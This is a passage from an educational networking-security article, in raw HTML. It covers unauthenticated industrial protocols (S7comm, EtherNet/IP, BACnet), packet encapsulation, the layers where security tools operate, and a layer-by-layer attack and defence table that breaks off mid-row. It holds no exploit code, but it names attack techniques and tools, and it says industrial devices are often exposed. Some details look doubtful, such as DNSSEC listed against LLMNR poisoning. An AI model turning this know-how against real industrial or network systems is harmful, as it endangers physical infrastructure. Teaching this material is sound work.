S7comm &lt;span class="o"&gt;(&lt;/span&gt;TCP 102 — Siemens S7 PLCs&lt;span class="o"&gt;)&lt;/span&gt;:
  Siemens-proprietary PLC communication protocol
  Used by Stuxnet to communicate with Siemens S7-315 and S7-417 PLCs
  No authentication &lt;span class="k"&gt;in &lt;/span&gt;original versions
  S7CommPlus &lt;span class="o"&gt;(&lt;/span&gt;S7-1200/1500&lt;span class="o"&gt;)&lt;/span&gt; has encryption but has been broken

  Tools: s7-200 &lt;span class="o"&gt;(&lt;/span&gt;Python library&lt;span class="o"&gt;)&lt;/span&gt;, Snap7 library

EtherNet/IP / CIP &lt;span class="o"&gt;(&lt;/span&gt;TCP 44818, UDP 2222&lt;span class="o"&gt;)&lt;/span&gt;:
  Used by Allen-Bradley/Rockwell Automation PLCs
  Common Industrial Protocol &lt;span class="o"&gt;(&lt;/span&gt;CIP&lt;span class="o"&gt;)&lt;/span&gt; over Ethernet
  No authentication by default

BACnet &lt;span class="o"&gt;(&lt;/span&gt;UDP 47808&lt;span class="o"&gt;)&lt;/span&gt;:
  Building Automation and Control protocol
  Used &lt;span class="k"&gt;for &lt;/span&gt;HVAC, lighting, access control &lt;span class="k"&gt;in &lt;/span&gt;buildings
  No authentication &lt;span class="k"&gt;in &lt;/span&gt;baseline protocol
  Many BACnet devices exposed on the internet via Shodan
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Layer 7 is simultaneously the most critical and most vulnerable layer. All user-visible functionality — and virtually all business logic — is implemented here. Application-layer attacks (SQLi, XSS, command injection) cause the most breaches. Industrial protocols at Layer 7 were designed for reliability in isolated networks, not for security in connected ones. The absence of authentication in Modbus, DNP3, and BACnet is not an oversight — it is a design decision from an era when network isolation was assumed. That assumption is now fatally broken.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  10. Encapsulation and Decapsulation — The Full Picture
&lt;/h2&gt;

&lt;h3&gt;
  
  
  10.1 The Journey of a Packet
&lt;/h3&gt;

&lt;p&gt;Understanding the complete journey of data from application to physical medium and back is essential for packet analysis, attack design, and forensics. Here is a complete example: your browser requesting &lt;a href="http://192.168.1.100/" rel="noopener noreferrer"&gt;http://192.168.1.100/&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nc"&gt;APPLICATION &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Layer&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;Browser&lt;/span&gt; &lt;span class="n"&gt;constructs&lt;/span&gt; &lt;span class="n"&gt;HTTP&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET / HTTP/1.1&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;Host: 192.168.1.100&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;User-Agent: ...&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;SESSION&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nc"&gt;PRESENTATION &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Layers&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;If&lt;/span&gt; &lt;span class="n"&gt;HTTPS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;TLS&lt;/span&gt; &lt;span class="n"&gt;encrypts&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;HTTP&lt;/span&gt; &lt;span class="nf"&gt;data &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;assume&lt;/span&gt; &lt;span class="n"&gt;plain&lt;/span&gt; &lt;span class="n"&gt;HTTP&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nc"&gt;TRANSPORT &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Layer&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;TCP&lt;/span&gt; &lt;span class="n"&gt;wraps&lt;/span&gt; &lt;span class="n"&gt;HTTP&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;segment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt; &lt;span class="n"&gt;Port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;54321&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;Dst&lt;/span&gt; &lt;span class="n"&gt;Port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;Seq&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;Ack&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;Flags&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ACK&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;PSH&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;HTTP&lt;/span&gt; &lt;span class="n"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET / HTTP/1.1...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="err"&gt;↑&lt;/span&gt; &lt;span class="n"&gt;Note&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Three&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;way&lt;/span&gt; &lt;span class="n"&gt;handshake&lt;/span&gt; &lt;span class="n"&gt;already&lt;/span&gt; &lt;span class="n"&gt;completed&lt;/span&gt; &lt;span class="n"&gt;before&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="n"&gt;segment&lt;/span&gt;

&lt;span class="nc"&gt;NETWORK &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Layer&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;IP&lt;/span&gt; &lt;span class="n"&gt;wraps&lt;/span&gt; &lt;span class="n"&gt;TCP&lt;/span&gt; &lt;span class="n"&gt;segment&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;packet&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Version&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;TTL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;Protocol&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;1.5&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;Dst&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;1.100&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;TCP&lt;/span&gt; &lt;span class="n"&gt;Segment&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;DATA&lt;/span&gt; &lt;span class="nc"&gt;LINK &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Layer&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;ARP&lt;/span&gt; &lt;span class="n"&gt;resolves&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;1.100&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;MAC&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;66&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;already&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;Ethernet&lt;/span&gt; &lt;span class="n"&gt;wraps&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt; &lt;span class="n"&gt;packet&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Dst&lt;/span&gt; &lt;span class="n"&gt;MAC&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;66&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt; &lt;span class="n"&gt;MAC&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;AA&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;BB&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;CC&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;DD&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;EE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;FF&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;EtherType&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mh"&gt;0x0800&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IPv4&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;IP&lt;/span&gt; &lt;span class="n"&gt;Packet&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;FCS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;CRC32&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="nc"&gt;PHYSICAL &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Layer&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;Ethernet&lt;/span&gt; &lt;span class="n"&gt;frame&lt;/span&gt; &lt;span class="n"&gt;converted&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;electrical&lt;/span&gt; &lt;span class="n"&gt;signals&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;wire&lt;/span&gt;
  &lt;span class="mf"&gt;10101010.&lt;/span&gt;&lt;span class="p"&gt;..&lt;/span&gt; &lt;span class="n"&gt;transmitted&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;voltage&lt;/span&gt; &lt;span class="n"&gt;levels&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;Cat6&lt;/span&gt; &lt;span class="n"&gt;cable&lt;/span&gt;

&lt;span class="err"&gt;━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━&lt;/span&gt;

&lt;span class="n"&gt;At&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;RECEIVING&lt;/span&gt; &lt;span class="n"&gt;END&lt;/span&gt; &lt;span class="err"&gt;—&lt;/span&gt; &lt;span class="nc"&gt;Decapsulation &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;reverse&lt;/span&gt; &lt;span class="n"&gt;order&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;

&lt;span class="nc"&gt;PHYSICAL &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Layer&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;Electrical&lt;/span&gt; &lt;span class="n"&gt;signals&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;bits&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;Ethernet&lt;/span&gt; &lt;span class="n"&gt;frame&lt;/span&gt;

&lt;span class="n"&gt;DATA&lt;/span&gt; &lt;span class="nc"&gt;LINK &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Layer&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;Frame&lt;/span&gt; &lt;span class="n"&gt;received&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;Dst&lt;/span&gt; &lt;span class="n"&gt;MAC&lt;/span&gt; &lt;span class="n"&gt;mine&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt; &lt;span class="nc"&gt;YES &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;broadcast&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;FCS&lt;/span&gt; &lt;span class="n"&gt;valid&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="k"&gt;pass&lt;/span&gt; &lt;span class="n"&gt;up&lt;/span&gt;
  &lt;span class="n"&gt;Strip&lt;/span&gt; &lt;span class="n"&gt;Ethernet&lt;/span&gt; &lt;span class="n"&gt;header&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;trailer&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;expose&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt; &lt;span class="n"&gt;packet&lt;/span&gt;

&lt;span class="nc"&gt;NETWORK &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Layer&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;IP&lt;/span&gt; &lt;span class="n"&gt;packet&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;Dst&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt; &lt;span class="n"&gt;mine&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt; &lt;span class="nc"&gt;YES &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;1.100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;TTL&lt;/span&gt; &lt;span class="n"&gt;valid&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="nf"&gt;decrement &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="mi"&gt;63&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;Protocol&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="k"&gt;pass&lt;/span&gt; &lt;span class="n"&gt;TCP&lt;/span&gt; &lt;span class="n"&gt;segment&lt;/span&gt; &lt;span class="n"&gt;up&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;TCP&lt;/span&gt; &lt;span class="n"&gt;handler&lt;/span&gt;

&lt;span class="nc"&gt;TRANSPORT &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Layer&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;TCP&lt;/span&gt; &lt;span class="n"&gt;segment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Dst&lt;/span&gt; &lt;span class="n"&gt;Port&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;there&lt;/span&gt; &lt;span class="n"&gt;an&lt;/span&gt; &lt;span class="n"&gt;application&lt;/span&gt; &lt;span class="n"&gt;listening&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;
  &lt;span class="n"&gt;Check&lt;/span&gt; &lt;span class="n"&gt;sequence&lt;/span&gt; &lt;span class="n"&gt;numbers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;acknowledge&lt;/span&gt;
  &lt;span class="n"&gt;Pass&lt;/span&gt; &lt;span class="n"&gt;HTTP&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;web&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="n"&gt;application&lt;/span&gt;

&lt;span class="n"&gt;SESSION&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nc"&gt;PRESENTATION &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Layers&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;Not&lt;/span&gt; &lt;span class="n"&gt;applicable&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;plain&lt;/span&gt; &lt;span class="n"&gt;HTTP&lt;/span&gt;

&lt;span class="nc"&gt;APPLICATION &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Layer&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;Web&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="n"&gt;receives&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET / HTTP/1.1&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;Host: 192.168.1.100...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
  &lt;span class="n"&gt;Process&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;generate&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.2 Where Security Tools Operate
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Wireshark: Operates at ALL layers — can decode from L1 statistics up to L7 application data
           Use: Full packet analysis, protocol debugging, forensics

tcpdump: Primarily L2-L4 — captures frames/packets/segments with filters
         Use: Quick capture, scripting, production environments

Nmap: Primarily L3-L4 — sends crafted IP packets and TCP/UDP segments
      OS detection uses L3 (TTL, IP options) and L4 (TCP window size, options)
      Service detection uses L7 (banner grabbing, protocol responses)
      Use: Port scanning, service enumeration, OS fingerprinting

iptables/nftables: L3-L4 — filter based on IP addresses and port numbers
                   L7 extension: --match string for application data (limited)
                   Use: Host-based firewall

Snort/Suricata: All layers — L2 MAC rules through L7 application patterns
                Use: Intrusion detection/prevention

Burp Suite: L7 only — HTTP/HTTPS proxy
            Operates at application layer, doesn't handle TCP/IP directly
            Use: Web application testing

Metasploit: L4-L7 — exploits operate at transport/application level
            Network modules include L3 (ICMP) and L2 (ARP) capabilities
            Use: Exploitation framework

ARP tools (arpspoof, Bettercap): L2 — manipulate ARP at Layer 2
                                  Use: MITM setup
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  11. OSI vs TCP/IP — Where Theory Meets Reality
&lt;/h2&gt;

&lt;h3&gt;
  
  
  11.1 The TCP/IP Model
&lt;/h3&gt;

&lt;p&gt;The TCP/IP model (DoD model) is the practical model that actually describes how the internet works. It has four layers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OSI Model              TCP/IP Model
─────────────────      ───────────────────
7. Application    ─┐
6. Presentation   ─┼─→  Application
5. Session        ─┘
4. Transport       ──→  Transport
3. Network         ──→  Internet
2. Data Link      ─┐
1. Physical       ─┴─→  Network Access
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The TCP/IP model collapses OSI's L5-L7 into Application and L1-L2 into Network Access. This reflects reality — TCP/IP protocols don't strictly observe the OSI layer boundaries.&lt;/p&gt;

&lt;h3&gt;
  
  
  11.2 Why Both Models Matter
&lt;/h3&gt;

&lt;p&gt;Use OSI when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Troubleshooting:&lt;/strong&gt; "Is this a Layer 1 problem (cable unplugged) or Layer 3 (routing)?"&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Security analysis:&lt;/strong&gt; "This attack operates at Layer 2 — what Layer 2 controls exist?"&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Describing attack techniques:&lt;/strong&gt; "This is a Layer 7 attack (HTTP) that uses a Layer 4 mechanism (TCP connection flooding)"&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Vendor communication:&lt;/strong&gt; The OSI model is the universal reference — every security professional understands it&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Use TCP/IP when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Protocol specification reading:&lt;/strong&gt; RFCs describe TCP/IP protocols&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Implementation details:&lt;/strong&gt; Understanding actual protocol behaviour&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Network engineering:&lt;/strong&gt; How protocols actually interact&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In practice: know OSI by name and layer number. Know TCP/IP for implementation details. Switch between them naturally depending on context. This is what professionals do.&lt;/p&gt;




&lt;h2&gt;
  
  
  12. Attacking Across the Stack — Layer-by-Layer Threat Map
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──────────────────────────────────────────────────────────────────────────┐
│ Layer │ Key Attacks                    │ Key Defences                    │
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L7   │ SQLi, XSS, CSRF, Command inj.  │ WAF, input validation, CSP      │
│  App  │ SSRF, XXE, IDOR, Deserialisat. │ Secure coding, DAST scanning    │
│       │ DNS cache poisoning, BGP hijack│ DNSSEC, RPKI, DMARC             │
│       │ Modbus/DNP3/SNMP exploitation  │ Protocol authentication (IEC 62351)│
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L6   │ Encoding attacks (UTF-8 abuse) │ Input normalisation, sanitisation│
│ Pres. │ CRIME/BREACH compression oracle│ Disable TLS compression         │
│       │ SSL/TLS downgrade attacks      │ TLS 1.2+ only, HSTS             │
│       │ Heartbleed (CVE-2014-0160)     │ Patch OpenSSL, cert rotation    │
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L5   │ Session hijacking              │ Secure session tokens, HTTPS    │
│ Sess. │ RPC exploitation (MS03-026)    │ Firewall port 135, patch        │
│       │ NetBIOS/LLMNR poisoning        │ Disable LLMNR/NBT-NS, DNSSEC   │
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L4   │ SYN flood                      │ SYN cookies, rate limiting      │
│ Trans.│ UDP amplification DDoS         │ BCP38, rate limiting services   │
│       │ TCP session hijacking          │ Randomised ISNs (modern OSes)   │
│       │ Port scanning                  │ Firewall, port knocking         │
│       │ TIME_WAIT exhaustion           │ Tune TCP stack parameters       │
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L3   │ IP spoofing                    │ BCP38 ingress filtering         │
│  Net  │ ICMP redirect                  │ Disable ICMP redirect accept    │
│       │ Fragmentation attacks          │ Fragment reassembly at firewall │
│       │ OSPF/BGP route injection       │ Routing protocol authentication │
│       │ TTL manipulation (IDS evasion) │ Normalise TTL in IDS            │
